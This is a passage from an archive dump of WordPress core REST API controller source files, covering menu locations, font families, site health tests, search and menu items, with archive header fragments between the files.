) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $response->add_links( $this->prepare_links( $location ) ); } /** * Filters menu location data returned from the REST API. * * @since 5.9.0 * * @param WP_REST_Response $response The response object. * @param object $location The original location object. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( 'rest_prepare_menu_location', $response, $location, $request ); } /** * Prepares links for the request. * * @since 5.9.0 * * @param stdClass $location Menu location. * @return array Links for the given menu location. */ protected function prepare_links( $location ) { $base = sprintf( '%s/%s', $this->namespace, $this->rest_base ); // Entity meta. $links = array( 'self' => array( 'href' => rest_url( trailingslashit( $base ) . $location->name ), ), 'collection' => array( 'href' => rest_url( $base ), ), ); $locations = get_nav_menu_locations(); $menu = $locations[ $location->name ] ?? 0; if ( $menu ) { $path = rest_get_route_for_term( $menu ); if ( $path ) { $url = rest_url( $path ); $links['https://api.w.org/menu'][] = array( 'href' => $url, 'embeddable' => true, ); } } return $links; } /** * Retrieves the menu location's schema, conforming to JSON Schema. * * @since 5.9.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $this->schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'menu-location', 'type' => 'object', 'properties' => array( 'name' => array( 'description' => __( 'The name of the menu location.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'description' => array( 'description' => __( 'The description of the menu location.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'menu' => array( 'description' => __( 'The ID of the assigned menu.' ), 'type' => 'integer', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), ), ); return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for collections. * * @since 5.9.0 * * @return array Collection parameters. */ public function get_collection_params() { return array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ); } } class-wp-rest-font-families-controller.php000064400000042700152506367270014715 0ustar00post_type ); if ( ! current_user_can( $post_type->cap->read ) ) { return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to access font families.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Checks if a given request has access to a font family. * * @since 6.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } if ( ! current_user_can( 'read_post', $post->ID ) ) { return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to access this font family.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Validates settings when creating or updating a font family. * * @since 6.5.0 * * @param string $value Encoded JSON string of font family settings. * @param WP_REST_Request $request Request object. * @return true|WP_Error True if the settings are valid, otherwise a WP_Error object. */ public function validate_font_family_settings( $value, $request ) { // Enforce JSON Schema validity for field before applying custom validation logic. $args = $this->get_endpoint_args_for_item_schema( $request->get_method() ); $validity = rest_validate_value_from_schema( $value, $args['font_family_settings'], 'font_family_settings' ); if ( is_wp_error( $validity ) ) { return $validity; } $settings = json_decode( $value, true ); // Check settings string is valid JSON. if ( null === $settings ) { return new WP_Error( 'rest_invalid_param', /* translators: %s: Parameter name: "font_family_settings". */ sprintf( __( '%s parameter must be a valid JSON string.' ), 'font_family_settings' ), array( 'status' => 400 ) ); } $schema = $this->get_item_schema()['properties']['font_family_settings']; $required = $schema['required']; if ( isset( $request['id'] ) ) { // Allow sending individual properties if we are updating an existing font family. unset( $schema['required'] ); // But don't allow updating the slug, since it is used as a unique identifier. if ( isset( $settings['slug'] ) ) { return new WP_Error( 'rest_invalid_param', /* translators: %s: Name of parameter being updated: font_family_settings[slug]". */ sprintf( __( '%s cannot be updated.' ), 'font_family_settings[slug]' ), array( 'status' => 400 ) ); } } // Check that the font face settings match the theme.json schema. $has_valid_settings = rest_validate_value_from_schema( $settings, $schema, 'font_family_settings' ); if ( is_wp_error( $has_valid_settings ) ) { $has_valid_settings->add_data( array( 'status' => 400 ) ); return $has_valid_settings; } // Check that none of the required settings are empty values. foreach ( $required as $key ) { if ( isset( $settings[ $key ] ) && ! $settings[ $key ] ) { return new WP_Error( 'rest_invalid_param', /* translators: %s: Name of the empty font family setting parameter, e.g. "font_family_settings[slug]". */ sprintf( __( '%s cannot be empty.' ), "font_family_settings[ $key ]" ), array( 'status' => 400 ) ); } } return true; } /** * Sanitizes the font family settings when creating or updating a font family. * * @since 6.5.0 * * @param string $value Encoded JSON string of font family settings. * @return array Decoded array of font family settings. */ public function sanitize_font_family_settings( $value ) { // Settings arrive as stringified JSON, since this is a multipart/form-data request. $settings = json_decode( $value, true ); $schema = $this->get_item_schema()['properties']['font_family_settings']['properties']; // Sanitize settings based on callbacks in the schema. foreach ( $settings as $key => $value ) { $sanitize_callback = $schema[ $key ]['arg_options']['sanitize_callback']; $settings[ $key ] = call_user_func( $sanitize_callback, $value ); } return $settings; } /** * Creates a single font family. * * @since 6.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { $settings = $request->get_param( 'font_family_settings' ); // Check that the font family slug is unique. $query = new WP_Query( array( 'post_type' => $this->post_type, 'posts_per_page' => 1, 'name' => $settings['slug'], 'update_post_meta_cache' => false, 'update_post_term_cache' => false, ) ); if ( ! empty( $query->posts ) ) { return new WP_Error( 'rest_duplicate_font_family', /* translators: %s: Font family slug. */ sprintf( __( 'A font family with slug "%s" already exists.' ), $settings['slug'] ), array( 'status' => 400 ) ); } return parent::create_item( $request ); } /** * Deletes a single font family. * * @since 6.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { $force = isset( $request['force'] ) ? (bool) $request['force'] : false; // We don't support trashing for font families. if ( ! $force ) { return new WP_Error( 'rest_trash_not_supported', /* translators: %s: force=true */ sprintf( __( 'Font faces do not support trashing. Set "%s" to delete.' ), 'force=true' ), array( 'status' => 501 ) ); } return parent::delete_item( $request ); } /** * Prepares a single font family output for response. * * @since 6.5.0 * * @param WP_Post $item Post object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { $fields = $this->get_fields_for_response( $request ); $data = array(); if ( rest_is_field_included( 'id', $fields ) ) { $data['id'] = $item->ID; } if ( rest_is_field_included( 'theme_json_version', $fields ) ) { $data['theme_json_version'] = static::LATEST_THEME_JSON_VERSION_SUPPORTED; } if ( rest_is_field_included( 'font_faces', $fields ) ) { $data['font_faces'] = $this->get_font_face_ids( $item->ID ); } if ( rest_is_field_included( 'font_family_settings', $fields ) ) { $data['font_family_settings'] = $this->get_settings_from_post( $item ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) ) { $links = $this->prepare_links( $item ); $response->add_links( $links ); } /** * Filters the font family data for a REST API response. * * @since 6.5.0 * * @param WP_REST_Response $response The response object. * @param WP_Post $post Font family post object. * @param WP_REST_Request $request Request object. */ return apply_filters( 'rest_prepare_wp_font_family', $response, $item, $request ); } /** * Retrieves the post's schema, conforming to JSON Schema. * * @since 6.5.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => $this->post_type, 'type' => 'object', // Base properties for every Post. 'properties' => array( 'id' => array( 'description' => __( 'Unique identifier for the post.', 'default' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'theme_json_version' => array( 'description' => __( 'Version of the theme.json schema used for the typography settings.' ), 'type' => 'integer', 'default' => static::LATEST_THEME_JSON_VERSION_SUPPORTED, 'minimum' => 2, 'maximum' => static::LATEST_THEME_JSON_VERSION_SUPPORTED, 'context' => array( 'view', 'edit', 'embed' ), ), 'font_faces' => array( 'description' => __( 'The IDs of the child font faces in the font family.' ), 'type' => 'array', 'context' => array( 'view', 'edit', 'embed' ), 'items' => array( 'type' => 'integer', ), ), // Font family settings come directly from theme.json schema // See https://schemas.wp.org/trunk/theme.json 'font_family_settings' => array( 'description' => __( 'font-face definition in theme.json format.' ), 'type' => 'object', 'context' => array( 'view', 'edit', 'embed' ), 'properties' => array( 'name' => array( 'description' => __( 'Name of the font family preset, translatable.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'slug' => array( 'description' => __( 'Kebab-case unique identifier for the font family preset.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_title', ), ), 'fontFamily' => array( 'description' => __( 'CSS font-family value.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => array( 'WP_Font_Utils', 'sanitize_font_family' ), ), ), 'preview' => array( 'description' => __( 'URL to a preview image of the font family.' ), 'type' => 'string', 'format' => 'uri', 'default' => '', 'arg_options' => array( 'sanitize_callback' => 'sanitize_url', ), ), ), 'required' => array( 'name', 'slug', 'fontFamily' ), 'additionalProperties' => false, ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the item's schema for display / public consumption purposes. * * @since 6.5.0 * * @return array Public item schema data. */ public function get_public_item_schema() { $schema = parent::get_public_item_schema(); // Also remove `arg_options' from child font_family_settings properties, since the parent // controller only handles the top level properties. foreach ( $schema['properties']['font_family_settings']['properties'] as &$property ) { unset( $property['arg_options'] ); } return $schema; } /** * Retrieves the query params for the font family collection. * * @since 6.5.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); // Remove unneeded params. unset( $query_params['after'], $query_params['modified_after'], $query_params['before'], $query_params['modified_before'], $query_params['search'], $query_params['search_columns'], $query_params['status'] ); $query_params['orderby']['default'] = 'id'; $query_params['orderby']['enum'] = array( 'id', 'include' ); /** * Filters collection parameters for the font family controller. * * @since 6.5.0 * * @param array $query_params JSON Schema-formatted collection parameters. */ return apply_filters( 'rest_wp_font_family_collection_params', $query_params ); } /** * Get the arguments used when creating or updating a font family. * * @since 6.5.0 * * @return array Font family create/edit arguments. */ public function get_endpoint_args_for_item_schema( $method = WP_REST_Server::CREATABLE ) { if ( WP_REST_Server::CREATABLE === $method || WP_REST_Server::EDITABLE === $method ) { $properties = $this->get_item_schema()['properties']; return array( 'theme_json_version' => $properties['theme_json_version'], // When creating or updating, font_family_settings is stringified JSON, to work with multipart/form-data. // Font families don't currently support file uploads, but may accept preview files in the future. 'font_family_settings' => array( 'description' => __( 'font-family declaration in theme.json format, encoded as a string.' ), 'type' => 'string', 'required' => true, 'validate_callback' => array( $this, 'validate_font_family_settings' ), 'sanitize_callback' => array( $this, 'sanitize_font_family_settings' ), ), ); } return parent::get_endpoint_args_for_item_schema( $method ); } /** * Get the child font face post IDs. * * @since 6.5.0 * * @param int $font_family_id Font family post ID. * @return int[] Array of child font face post IDs. */ protected function get_font_face_ids( $font_family_id ) { $query = new WP_Query( array( 'fields' => 'ids', 'post_parent' => $font_family_id, 'post_type' => 'wp_font_face', 'posts_per_page' => 99, 'order' => 'ASC', 'orderby' => 'id', 'update_post_meta_cache' => false, 'update_post_term_cache' => false, ) ); return $query->posts; } /** * Prepares font family links for the request. * * @since 6.5.0 * * @param WP_Post $post Post object. * @return array Links for the given post. */ protected function prepare_links( $post ) { // Entity meta. $links = parent::prepare_links( $post ); return array( 'self' => $links['self'], 'collection' => $links['collection'], 'font_faces' => $this->prepare_font_face_links( $post->ID ), ); } /** * Prepares child font face links for the request. * * @param int $font_family_id Font family post ID. * @return array Links for the child font face posts. */ protected function prepare_font_face_links( $font_family_id ) { $font_face_ids = $this->get_font_face_ids( $font_family_id ); $links = array(); foreach ( $font_face_ids as $font_face_id ) { $links[] = array( 'embeddable' => true, 'href' => rest_url( sprintf( '%s/%s/%s/font-faces/%s', $this->namespace, $this->rest_base, $font_family_id, $font_face_id ) ), ); } return $links; } /** * Prepares a single font family post for create or update. * * @since 6.5.0 * * @param WP_REST_Request $request Request object. * @return stdClass|WP_Error Post object or WP_Error. */ protected function prepare_item_for_database( $request ) { $prepared_post = new stdClass(); // Settings have already been decoded by ::sanitize_font_family_settings(). $settings = $request->get_param( 'font_family_settings' ); // This is an update and we merge with the existing font family. if ( isset( $request['id'] ) ) { $existing_post = $this->get_post( $request['id'] ); if ( is_wp_error( $existing_post ) ) { return $existing_post; } $prepared_post->ID = $existing_post->ID; $existing_settings = $this->get_settings_from_post( $existing_post ); $settings = array_merge( $existing_settings, $settings ); } $prepared_post->post_type = $this->post_type; $prepared_post->post_status = 'publish'; $prepared_post->post_title = $settings['name']; $prepared_post->post_name = sanitize_title( $settings['slug'] ); // Remove duplicate information from settings. unset( $settings['name'] ); unset( $settings['slug'] ); $prepared_post->post_content = wp_json_encode( $settings ); return $prepared_post; } /** * Gets the font family's settings from the post. * * @since 6.5.0 * * @param WP_Post $post Font family post object. * @return array Font family settings array. */ protected function get_settings_from_post( $post ) { $settings_json = json_decode( $post->post_content, true ); // Default to empty strings if the settings are missing. return array( 'name' => isset( $post->post_title ) && $post->post_title ? $post->post_title : '', 'slug' => isset( $post->post_name ) && $post->post_name ? $post->post_name : '', 'fontFamily' => isset( $settings_json['fontFamily'] ) && $settings_json['fontFamily'] ? $settings_json['fontFamily'] : '', 'preview' => isset( $settings_json['preview'] ) && $settings_json['preview'] ? $settings_json['preview'] : '', ); } } class-wp-rest-site-health-controller.php000064400000023154152506367270014371 0ustar00namespace = 'wp-site-health/v1'; $this->rest_base = 'tests'; $this->site_health = $site_health; } /** * Registers API routes. * * @since 5.6.0 * @since 6.1.0 Adds page-cache async test. * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, sprintf( '/%s/%s', $this->rest_base, 'background-updates' ), array( array( 'methods' => 'GET', 'callback' => array( $this, 'test_background_updates' ), 'permission_callback' => function () { return $this->validate_request_permission( 'background_updates' ); }, ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, sprintf( '/%s/%s', $this->rest_base, 'loopback-requests' ), array( array( 'methods' => 'GET', 'callback' => array( $this, 'test_loopback_requests' ), 'permission_callback' => function () { return $this->validate_request_permission( 'loopback_requests' ); }, ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, sprintf( '/%s/%s', $this->rest_base, 'https-status' ), array( array( 'methods' => 'GET', 'callback' => array( $this, 'test_https_status' ), 'permission_callback' => function () { return $this->validate_request_permission( 'https_status' ); }, ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, sprintf( '/%s/%s', $this->rest_base, 'dotorg-communication' ), array( array( 'methods' => 'GET', 'callback' => array( $this, 'test_dotorg_communication' ), 'permission_callback' => function () { return $this->validate_request_permission( 'dotorg_communication' ); }, ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, sprintf( '/%s/%s', $this->rest_base, 'authorization-header' ), array( array( 'methods' => 'GET', 'callback' => array( $this, 'test_authorization_header' ), 'permission_callback' => function () { return $this->validate_request_permission( 'authorization_header' ); }, ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, sprintf( '/%s', 'directory-sizes' ), array( 'methods' => 'GET', 'callback' => array( $this, 'get_directory_sizes' ), 'permission_callback' => function () { return $this->validate_request_permission( 'directory_sizes' ) && ! is_multisite(); }, ) ); register_rest_route( $this->namespace, sprintf( '/%s/%s', $this->rest_base, 'page-cache' ), array( array( 'methods' => 'GET', 'callback' => array( $this, 'test_page_cache' ), 'permission_callback' => function () { return $this->validate_request_permission( 'page_cache' ); }, ), ) ); } /** * Validates if the current user can request this REST endpoint. * * @since 5.6.0 * * @param string $check The endpoint check being ran. * @return bool */ protected function validate_request_permission( $check ) { $default_capability = 'view_site_health_checks'; /** * Filters the capability needed to run a given Site Health check. * * @since 5.6.0 * * @param string $default_capability The default capability required for this check. * @param string $check The Site Health check being performed. */ $capability = apply_filters( "site_health_test_rest_capability_{$check}", $default_capability, $check ); return current_user_can( $capability ); } /** * Checks if background updates work as expected. * * @since 5.6.0 * * @return array */ public function test_background_updates() { $this->load_admin_textdomain(); return $this->site_health->get_test_background_updates(); } /** * Checks that the site can reach the WordPress.org API. * * @since 5.6.0 * * @return array */ public function test_dotorg_communication() { $this->load_admin_textdomain(); return $this->site_health->get_test_dotorg_communication(); } /** * Checks that loopbacks can be performed. * * @since 5.6.0 * * @return array */ public function test_loopback_requests() { $this->load_admin_textdomain(); return $this->site_health->get_test_loopback_requests(); } /** * Checks that the site's frontend can be accessed over HTTPS. * * @since 5.7.0 * * @return array */ public function test_https_status() { $this->load_admin_textdomain(); return $this->site_health->get_test_https_status(); } /** * Checks that the authorization header is valid. * * @since 5.6.0 * * @return array */ public function test_authorization_header() { $this->load_admin_textdomain(); return $this->site_health->get_test_authorization_header(); } /** * Checks that full page cache is active. * * @since 6.1.0 * * @return array The test result. */ public function test_page_cache() { $this->load_admin_textdomain(); return $this->site_health->get_test_page_cache(); } /** * Gets the current directory sizes for this install. * * @since 5.6.0 * * @return array|WP_Error */ public function get_directory_sizes() { if ( ! class_exists( 'WP_Debug_Data' ) ) { require_once ABSPATH . 'wp-admin/includes/class-wp-debug-data.php'; } $this->load_admin_textdomain(); $sizes_data = WP_Debug_Data::get_sizes(); $all_sizes = array( 'raw' => 0 ); foreach ( $sizes_data as $name => $value ) { $name = sanitize_text_field( $name ); $data = array(); if ( isset( $value['size'] ) ) { if ( is_string( $value['size'] ) ) { $data['size'] = sanitize_text_field( $value['size'] ); } else { $data['size'] = (int) $value['size']; } } if ( isset( $value['debug'] ) ) { if ( is_string( $value['debug'] ) ) { $data['debug'] = sanitize_text_field( $value['debug'] ); } else { $data['debug'] = (int) $value['debug']; } } if ( ! empty( $value['raw'] ) ) { $data['raw'] = (int) $value['raw']; } $all_sizes[ $name ] = $data; } if ( isset( $all_sizes['total_size']['debug'] ) && 'not available' === $all_sizes['total_size']['debug'] ) { return new WP_Error( 'not_available', __( 'Directory sizes could not be returned.' ), array( 'status' => 500 ) ); } return $all_sizes; } /** * Loads the admin textdomain for Site Health tests. * * The {@see WP_Site_Health} class is defined in WP-Admin, while the REST API operates in a front-end context. * This means that the translations for Site Health won't be loaded by default in {@see load_default_textdomain()}. * * @since 5.6.0 */ protected function load_admin_textdomain() { // Accounts for inner REST API requests in the admin. if ( ! is_admin() ) { $locale = determine_locale(); load_textdomain( 'default', WP_LANG_DIR . "/admin-$locale.mo", $locale ); } } /** * Gets the schema for each site health test. * * @since 5.6.0 * * @return array The test schema. */ public function get_item_schema() { if ( $this->schema ) { return $this->schema; } $this->schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'wp-site-health-test', 'type' => 'object', 'properties' => array( 'test' => array( 'type' => 'string', 'description' => __( 'The name of the test being run.' ), 'readonly' => true, ), 'label' => array( 'type' => 'string', 'description' => __( 'A label describing the test.' ), 'readonly' => true, ), 'status' => array( 'type' => 'string', 'description' => __( 'The status of the test.' ), 'enum' => array( 'good', 'recommended', 'critical' ), 'readonly' => true, ), 'badge' => array( 'type' => 'object', 'description' => __( 'The category this test is grouped in.' ), 'properties' => array( 'label' => array( 'type' => 'string', 'readonly' => true, ), 'color' => array( 'type' => 'string', 'enum' => array( 'blue', 'orange', 'red', 'green', 'purple', 'gray' ), 'readonly' => true, ), ), 'readonly' => true, ), 'description' => array( 'type' => 'string', 'description' => __( 'A more descriptive explanation of what the test looks for, and why it is important for the user.' ), 'readonly' => true, ), 'actions' => array( 'type' => 'string', 'description' => __( 'HTML containing an action to direct the user to where they can resolve the issue.' ), 'readonly' => true, ), ), ); return $this->schema; } } class-wp-rest-search-controller.php000064400000026331152506367270013427 0ustar00namespace = 'wp/v2'; $this->rest_base = 'search'; foreach ( $search_handlers as $search_handler ) { if ( ! $search_handler instanceof WP_REST_Search_Handler ) { _doing_it_wrong( __METHOD__, /* translators: %s: PHP class name. */ sprintf( __( 'REST search handlers must extend the %s class.' ), 'WP_REST_Search_Handler' ), '5.0.0' ); continue; } $this->search_handlers[ $search_handler->get_type() ] = $search_handler; } } /** * Registers the routes for the search controller. * * @since 5.0.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permission_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if a given request has access to search content. * * @since 5.0.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has search access, WP_Error object otherwise. */ public function get_items_permission_check( $request ) { return true; } /** * Retrieves a collection of search results. * * @since 5.0.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $handler = $this->get_search_handler( $request ); if ( is_wp_error( $handler ) ) { return $handler; } $result = $handler->search_items( $request ); if ( ! isset( $result[ WP_REST_Search_Handler::RESULT_IDS ] ) || ! is_array( $result[ WP_REST_Search_Handler::RESULT_IDS ] ) || ! isset( $result[ WP_REST_Search_Handler::RESULT_TOTAL ] ) ) { return new WP_Error( 'rest_search_handler_error', __( 'Internal search handler error.' ), array( 'status' => 500 ) ); } $ids = $result[ WP_REST_Search_Handler::RESULT_IDS ]; $is_head_request = $request->is_method( 'HEAD' ); if ( ! $is_head_request ) { $results = array(); foreach ( $ids as $id ) { $data = $this->prepare_item_for_response( $id, $request ); $results[] = $this->prepare_response_for_collection( $data ); } } $total = (int) $result[ WP_REST_Search_Handler::RESULT_TOTAL ]; $page = (int) $request['page']; $per_page = (int) $request['per_page']; $max_pages = (int) ceil( $total / $per_page ); if ( $page > $max_pages && $total > 0 ) { return new WP_Error( 'rest_search_invalid_page_number', __( 'The page number requested is larger than the number of pages available.' ), array( 'status' => 400 ) ); } $response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $results ); $response->header( 'X-WP-Total', $total ); $response->header( 'X-WP-TotalPages', $max_pages ); $request_params = $request->get_query_params(); $base = add_query_arg( urlencode_deep( $request_params ), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) ); if ( $page > 1 ) { $prev_link = add_query_arg( 'page', $page - 1, $base ); $response->link_header( 'prev', $prev_link ); } if ( $page < $max_pages ) { $next_link = add_query_arg( 'page', $page + 1, $base ); $response->link_header( 'next', $next_link ); } return $response; } /** * Prepares a single search result for response. * * @since 5.0.0 * @since 5.6.0 The `$id` parameter can accept a string. * @since 5.9.0 Renamed `$id` to `$item` to match parent class for PHP 8 named parameter support. * * @param int|string $item ID of the item to prepare. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $item_id = $item; $handler = $this->get_search_handler( $request ); if ( is_wp_error( $handler ) ) { return new WP_REST_Response(); } $fields = $this->get_fields_for_response( $request ); $data = $handler->prepare_item( $item_id, $fields ); $data = $this->add_additional_fields_to_object( $data, $request ); $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $links = $handler->prepare_item_links( $item_id ); $links['collection'] = array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ); $response->add_links( $links ); } return $response; } /** * Retrieves the item schema, conforming to JSON Schema. * * @since 5.0.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $types = array(); $subtypes = array(); foreach ( $this->search_handlers as $search_handler ) { $types[] = $search_handler->get_type(); $subtypes = array_merge( $subtypes, $search_handler->get_subtypes() ); } $types = array_unique( $types ); $subtypes = array_unique( $subtypes ); $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'search-result', 'type' => 'object', 'properties' => array( self::PROP_ID => array( 'description' => __( 'Unique identifier for the object.' ), 'type' => array( 'integer', 'string' ), 'context' => array( 'view', 'embed' ), 'readonly' => true, ), self::PROP_TITLE => array( 'description' => __( 'The title for the object.' ), 'type' => 'string', 'context' => array( 'view', 'embed' ), 'readonly' => true, ), self::PROP_URL => array( 'description' => __( 'URL to the object.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'view', 'embed' ), 'readonly' => true, ), self::PROP_TYPE => array( 'description' => __( 'Object type.' ), 'type' => 'string', 'enum' => $types, 'context' => array( 'view', 'embed' ), 'readonly' => true, ), self::PROP_SUBTYPE => array( 'description' => __( 'Object subtype.' ), 'type' => 'string', 'enum' => $subtypes, 'context' => array( 'view', 'embed' ), 'readonly' => true, ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for the search results collection. * * @since 5.0.0 * * @return array Collection parameters. */ public function get_collection_params() { $types = array(); $subtypes = array(); foreach ( $this->search_handlers as $search_handler ) { $types[] = $search_handler->get_type(); $subtypes = array_merge( $subtypes, $search_handler->get_subtypes() ); } $types = array_unique( $types ); $subtypes = array_unique( $subtypes ); $query_params = parent::get_collection_params(); $query_params['context']['default'] = 'view'; $query_params[ self::PROP_TYPE ] = array( 'default' => $types[0], 'description' => __( 'Limit results to items of an object type.' ), 'type' => 'string', 'enum' => $types, ); $query_params[ self::PROP_SUBTYPE ] = array( 'default' => self::TYPE_ANY, 'description' => __( 'Limit results to items of one or more object subtypes.' ), 'type' => 'array', 'items' => array( 'enum' => array_merge( $subtypes, array( self::TYPE_ANY ) ), 'type' => 'string', ), 'sanitize_callback' => array( $this, 'sanitize_subtypes' ), ); $query_params['exclude'] = array( 'description' => __( 'Ensure result set excludes specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); $query_params['include'] = array( 'description' => __( 'Limit result set to specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); return $query_params; } /** * Sanitizes the list of subtypes, to ensure only subtypes of the passed type are included. * * @since 5.0.0 * * @param string|array $subtypes One or more subtypes. * @param WP_REST_Request $request Full details about the request. * @param string $parameter Parameter name. * @return string[]|WP_Error List of valid subtypes, or WP_Error object on failure. */ public function sanitize_subtypes( $subtypes, $request, $parameter ) { $subtypes = wp_parse_slug_list( $subtypes ); $subtypes = rest_parse_request_arg( $subtypes, $request, $parameter ); if ( is_wp_error( $subtypes ) ) { return $subtypes; } // 'any' overrides any other subtype. if ( in_array( self::TYPE_ANY, $subtypes, true ) ) { return array( self::TYPE_ANY ); } $handler = $this->get_search_handler( $request ); if ( is_wp_error( $handler ) ) { return $handler; } return array_intersect( $subtypes, $handler->get_subtypes() ); } /** * Gets the search handler to handle the current request. * * @since 5.0.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Search_Handler|WP_Error Search handler for the request type, or WP_Error object on failure. */ protected function get_search_handler( $request ) { $type = $request->get_param( self::PROP_TYPE ); if ( ! $type || ! is_string( $type ) || ! isset( $this->search_handlers[ $type ] ) ) { return new WP_Error( 'rest_search_invalid_type', __( 'Invalid type parameter.' ), array( 'status' => 400 ) ); } return $this->search_handlers[ $type ]; } } class-wp-rest-menu-items-controller.php000064400000100765152506367270014251 0ustar00get_post( $id ); if ( is_wp_error( $post ) ) { return $post; } return wp_setup_nav_menu_item( $post ); } /** * Checks if a given request has access to read menu items. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { $has_permission = parent::get_items_permissions_check( $request ); if ( true !== $has_permission ) { return $has_permission; } return $this->check_has_read_only_access( $request ); } /** * Checks if a given request has access to read a menu item if they have access to edit them. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return bool|WP_Error True if the request has read access for the item, WP_Error object or false otherwise. */ public function get_item_permissions_check( $request ) { $permission_check = parent::get_item_permissions_check( $request ); if ( true !== $permission_check ) { return $permission_check; } return $this->check_has_read_only_access( $request ); } /** * Checks whether the current user has read permission for the endpoint. * * This allows for any user that can `edit_theme_options` or edit any REST API available post type. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ protected function check_has_read_only_access( $request ) { /** * Filters whether the current user has read access to menu items via the REST API. * * @since 6.8.0 * * @param bool $read_only_access Whether the current user has read access to menu items * via the REST API. * @param WP_REST_Request $request Full details about the request. * @param WP_REST_Controller $controller The current instance of the controller. */ $read_only_access = apply_filters( 'rest_menu_read_access', false, $request, $this ); if ( $read_only_access ) { return true; } if ( current_user_can( 'edit_theme_options' ) ) { return true; } if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to view menu items.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Creates a single nav menu item. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { if ( ! empty( $request['id'] ) ) { return new WP_Error( 'rest_post_exists', __( 